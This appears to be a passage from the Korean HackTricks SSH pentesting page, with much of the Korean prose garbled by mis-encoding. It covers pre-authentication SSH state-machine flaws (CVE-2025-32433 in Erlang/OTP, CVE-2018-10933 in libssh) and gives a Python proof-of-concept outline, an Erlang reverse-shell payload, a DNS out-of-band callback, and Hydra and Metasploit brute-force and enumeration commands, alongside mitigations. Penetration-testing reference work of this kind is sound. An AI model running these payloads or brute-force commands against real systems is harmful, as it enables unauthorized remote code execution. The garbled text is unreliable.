์ฌ๋ฌ SSH ์๋ฒ ๊ตฌํ์ฒด์๋ authentication finite-state machine์ ๋ ผ๋ฆฌ์ ๊ฒฐํจ์ด ์์ด ํด๋ผ์ด์ธํธ๊ฐ ์ธ์ฆ์ด ์๋ฃ๋๊ธฐ ์ ์ connection-protocol ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ์ ์์ต๋๋ค. ์๋ฒ๊ฐ ์ฌ๋ฐ๋ฅธ ์ํ์ ์๋์ง๋ฅผ ๊ฒ์ฆํ์ง ์๊ธฐ ๋๋ฌธ์, ํด๋น ๋ฉ์์ง๋ ๋ง์น ์ฌ์ฉ์๊ฐ ์์ ํ ์ธ์ฆ๋ ๊ฒ์ฒ๋ผ ์ฒ๋ฆฌ๋์ด unauthenticated code execution ๋๋ ์ธ์ ์์ฑ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
ํ๋กํ ์ฝ ์์ค์์, message code โฅ 80 (0x50)์ ๊ฐ์ง ๋ชจ๋ SSH ๋ฉ์์ง๋ connection ๋ ์ด์ด(RFC 4254)์ ์ํ๋ฉฐ ์ฑ๊ณต์ ์ธ ์ธ์ฆ ํ์๋ง ์๋ฝ๋์ด์ผ ํฉ๋๋ค(RFC 4252). ์๋ฒ๊ฐ ํด๋น ๋ฉ์์ง๋ค ์ค ํ๋๋ฅผ ์์ง SSH_AUTHENTICATION ์ํ์ธ ๋์ ์ฒ๋ฆฌํ๋ฉด, ๊ณต๊ฒฉ์๋ ์ฆ์ ์ฑ๋์ ์์ฑํ๊ณ ๋ช ๋ น ์คํ, ํฌํธ ํฌ์๋ฉ ๋ฑ๊ณผ ๊ฐ์ ๋์์ ์์ฒญํ ์ ์์ต๋๋ค.
์ผ๋ฐ์ ์ต์คํ๋ก์ ๋จ๊ณ
- ํ๊น์ SSH ํฌํธ(์ผ๋ฐ์ ์ผ๋ก 22, ๊ทธ๋ฌ๋ ๋ค๋ฅธ ์๋น์ค๊ฐ 2022, 830, 2222 ๋ฑ์์ Erlang/OTP๋ฅผ ๋ ธ์ถํ ์ ์์)์ TCP ์ฐ๊ฒฐ์ ์๋ฆฝํฉ๋๋ค.
- ์์ SSH ํจํท์ ์ ์ํฉ๋๋ค:
- 4-byte packet_length (big-endian)
- 1-byte message_code โฅ 80 (์:
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - ์ ํํ ๋ฉ์์ง ํ์ ์ด ์ดํดํ ์ ์๋ ํ์ด๋ก๋
- ์ด๋ค ์ธ์ฆ ๋จ๊ณ๋ ์๋ฃํ๊ธฐ ์ ์ ๊ทธ ํจํท๋ค์ ์ ์กํฉ๋๋ค.
- ์ด์ pre-auth๋ก ๋ ธ์ถ๋ ์๋ฒ API์ ์ํธ์์ฉํฉ๋๋ค(๋ช ๋ น ์คํ, ํฌํธ ํฌ์๋ฉ, ํ์ผ ์์คํ ์ ๊ทผ ๋ฑ).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity โ send your own client banner then read server banner
# โฆ key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
์ค์ ํ๊ฒฝ์์๋ ํ๊น ๊ตฌํ์ ๋ฐ๋ผ ํค ๊ตํ์ ์ํ(๋๋ ์๋ต)ํด์ผ ํ์ง๋ง, ์ธ์ฆ์ ์ ํ ์ํ๋์ง ์์ต๋๋ค.
Erlang/OTP sshd (CVE-2025-32433)
- ์ํฅ ๋ฐ๋ ๋ฒ์ : OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- ๊ทผ๋ณธ ์์ธ: Erlang ๋ค์ดํฐ๋ธ SSH ๋ฐ๋ชฌ์ด
ssh_connection:handle_msg/2๋ฅผ ํธ์ถํ๊ธฐ ์ ์ ํ์ฌ ์ํ๋ฅผ ๊ฒ์ฆํ์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ๋ฉ์์ง ์ฝ๋ 80-255๋ฅผ ๊ฐ์ง ๋ชจ๋ ํจํท์ด ์ธ์ ์ด ์ฌ์ ํ userauth ์ํ์ธ ๋์ ์ฐ๊ฒฐ ํธ๋ค๋ฌ์ ๋๋ฌํฉ๋๋ค. - ์ํฅ: ์ธ์ฆ๋์ง ์์ remote code execution (๋ฐ๋ชฌ์ ๋ณดํต ์๋ฒ ๋๋/OT ์ฅ์น์์ root๋ก ์คํ๋ฉ๋๋ค).
๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ฑ๋์ ๋ฐ์ธ๋๋ reverse shell์ ์์ฑํ๋ ์์ payload:
% open a channel first โฆ then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection์ DNS๋ฅผ ํตํด ์ํํ ์ ์์ต๋๋ค:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
ํ์ง ๋ฐ ์ํ:
- SSH ํธ๋ํฝ์ ๊ฒ์ฌ: ์ธ์ฆ ์ด์ ์ ๊ด์ธก๋ ๋ฉ์์ง ์ฝ๋ โฅ 80์ธ ํจํท์ ๋ชจ๋ ๋๋กญ.
- Erlang/OTP๋ฅผ 27.3.3 / 26.2.5.11 / 25.3.2.20 ์ด์์ผ๋ก ์ ๊ทธ๋ ์ด๋.
- ๊ด๋ฆฌ ํฌํธ(22/2022/830/2222)์ ๋ ธ์ถ์ ์ ํ โ ํนํ OT ์ฅ๋น์์.
์ํฅ์ ๋ฐ๋ ๋ค๋ฅธ ๊ตฌํ์ฒด
- libssh 0.6 โ 0.8 (์๋ฒ ์ธก) โ CVE-2018-10933 โ ํด๋ผ์ด์ธํธ๊ฐ ๋ณด๋ธ ์ธ์ฆ๋์ง ์์
SSH_MSG_USERAUTH_SUCCESS๋ฅผ ์๋ฝํ์ฌ, ์ฌ์ค์ ๋ฐ๋ ๋ ผ๋ฆฌ ๊ฒฐํจ์ด ๋ฐ์ํจ.
๊ณตํต๋ ๊ตํ์ RFC๊ฐ ๊ท์ ํ ์ํ ์ ํ์์์ ์ด๋ค ์ดํ๋ ์น๋ช ์ ์ผ ์ ์๋ค๋ ๊ฒ์ด๋ค; SSH ๋ฐ๋ชฌ์ ๊ฒํ ํ๊ฑฐ๋ ํผ์งํ ๋๋ ์ํ ๋จธ์ ๊ฐ์ ์ ์ฉ์ ํนํ ์ฃผ์ํ๋ผ.
์ฐธ์กฐ
- Unit 42 โ Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) โ client setup and troubleshooting
- 0xdf โ HTB: TheFrizz
- Qualys โ regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk โ The XZ backdoor (CVE-2024-3094)
HackTricks ์๋ ๋ช ๋ น
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


